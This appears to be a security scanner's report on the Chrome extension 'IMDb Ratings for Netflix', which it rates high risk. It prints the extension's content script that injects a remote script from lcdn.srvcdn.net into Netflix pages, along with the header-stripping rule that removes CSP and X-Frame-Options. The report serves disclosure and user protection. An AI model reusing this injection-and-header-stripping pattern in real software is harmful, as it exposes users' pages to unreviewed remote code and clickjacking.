Is IMDb Ratings for Netflix™ safe?

High risk

IMDb Ratings for Netflix removes Netflix page protections and injects JavaScript from lcdn.srvcdn.net.

On Netflix pages, the extension removes Content-Security-Policy and X-Frame-Options headers, then appends a remote script after the page loads. The confirmed claim identifies page URL and DOM content as data involved, with the remote code loaded from lcdn.srvcdn.net.

Code Collectivev4.1.3Chrome Web Store
72Risk
Who publishes it

CodeCollective - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Code Collective
Declared legal entity
CodeCollective
Registered address
Via Colacurcio Vicolo II, 10-16, Santo Stefano del Sole 83050, Italy
Registered contact
K. A. Della Corte

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

IMDb Ratings for Netflix strips Netflix's CSP, then injects a remote script

On every netflix.com page, the extension's content script loads and runs a script from lcdn.srvcdn.net, while a bundled rule removes Netflix's Content-Security-Policy and X-Frame-Options headers from the same page.

Severity
High unwanted
Type
Unexpected
CWE
CWE-829
Source
Dynamic sandbox
What actually happens
You did this

You open or navigate to a page on netflix.com.

The extension did this

The extension's content script appends a script tag that loads and runs code from lcdn.srvcdn.net directly on the page.

A bundled network rule also strips Netflix's Content-Security-Policy and X-Frame-Options response headers on the same request.

The code that does this

The content script that injects the remote script tag

Readable version
(function () {  "use strict";  console.debug("content script loaded");  (function () {    window.addEventListener("DOMContentLoaded", () => {      const script = document.createElement("script");      script.setAttribute("type", "text/javascript");      script.setAttribute("charset", "utf-8");      script.src = "https://lcdn.srvcdn.net/h.js?c=InNyYyI6Im5mIiwibmQiOnRydWUsIm1kNiI6dHJ1ZQ==";      script.async = true;      document.documentElement.appendChild(script);    });  })();})();
The code that does this

The declarativeNetRequest rule that strips Netflix's CSP and X-Frame-Options (cspRules.json)

Readable version
[  {    "id": 1,    "priority": 1,    "action": {      "type": "modifyHeaders",      "responseHeaders": [        // Lets any site frame netflix.com in an iframe; clickjacking protection off        { "header": "X-Frame-Options", "operation": "remove" },        // Removes the policy that would otherwise block the injected <script>        { "header": "Content-Security-Policy", "operation": "remove" },        // Removes the reporting-only variant too, so no CSP violation report fires        { "header": "content-security-policy-report-only", "operation": "remove" }      ]    },    "condition": {      // Applies to every netflix.com response, top-level page and embedded frames      "urlFilter": "||netflix.com/",      "resourceType": ["main_frame", "sub_frame"]    }  }]
Captured request
GEThttps://lcdn.srvcdn.net/h.js?c=InNyYyI6Im5mIiwibmQiOnRydWUsIm1kNiI6dHJ1ZQ==

200 OK, approximately 150KB of obfuscated JavaScript, executed directly in the Netflix page context.

Why you can't catch this in DevTools

The 'c' query parameter is base64 and decodes to a small JSON fragment that flags the request as coming from Netflix. It does not reveal what the remote script does, since that code is not shipped with the extension and can be changed by the server at any time.

Decoded value
"src":"nf","nd":true,"md6":true
Third-party destinations
    • lcdn.srvcdn.net

    Serves the script injected into every Netflix page. Its contents are not part of the extension package and are not reviewed by the Chrome Web Store.

What it can do

Permissions this extension asks for, as declared in version 4.1.3. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on netflix.com

    *://*.netflix.com/*

declarativeNetRequestWithHostAccess

Where it sends data

Destinations our analysis observed IMDb4NF contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • lcdn.srvcdn.net

    IMDb4NF sends data to lcdn.srvcdn.net. No other extension we have analysed sends data here.

Updated 30 September 2026dnbpnlalaijjbogmjbpdkdcohoibjcmp